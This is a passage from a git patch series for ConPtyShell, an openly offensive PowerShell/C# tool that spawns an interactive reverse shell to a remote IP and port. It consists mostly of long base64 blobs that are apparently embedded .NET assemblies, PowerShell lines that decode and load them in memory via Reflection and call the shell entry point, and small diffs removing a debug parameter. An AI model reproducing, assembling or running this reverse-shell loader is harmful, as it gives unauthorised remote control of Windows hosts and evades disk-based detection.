AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" $ConPtyShellBytes = [System.Convert]::FromBase64String($ConPtyShellBase64) [Reflection.Assembly]::Load($ConPtyShellBytes) | Out-Null $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) From b18e05326860a61987e1a81c44365a24f4e1f3b9 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Tue, 2 Mar 2021 16:38:10 +0100 Subject: [PATCH 4/5] removing debug parameter --- ConPtyShell.cs | 1 - Invoke-ConPtyShell.ps1 | 3 ++- Invoke-ConPtyShell2.ps1 | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 0d6c05b..1df5c96 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -1081,7 +1081,6 @@ private static void DisplayHelp() uint rows = ParseRows(args); uint cols = ParseCols(args); string commandLine = ParseCommandLine(args); - upgradeShell = true; output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } return output; diff --git a/Invoke-ConPtyShell.ps1 b/Invoke-ConPtyShell.ps1 index 32a6a5d..e03cddf 100644 --- a/Invoke-ConPtyShell.ps1 +++ b/Invoke-ConPtyShell.ps1 @@ -116,6 +116,7 @@ function Invoke-ConPtyShell } $Source = @" + using System; using System.IO; using System.Text; @@ -1150,7 +1151,6 @@ public static class ConPtyShellMainClass{ uint rows = ParseRows(args); uint cols = ParseCols(args); string commandLine = ParseCommandLine(args); - upgradeShell = true; output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } return output; @@ -1164,4 +1164,5 @@ class MainClass{ Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); } } + "@; \ No newline at end of file diff --git a/Invoke-ConPtyShell2.ps1 b/Invoke-ConPtyShell2.ps1 index bd9fbf0..e322bb7 100644 --- a/Invoke-ConPtyShell2.ps1 +++ b/Invoke-ConPtyShell2.ps1 @@ -111,7 +111,7 @@ function Invoke-ConPtyShell2 } $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) - $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJpaPmAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA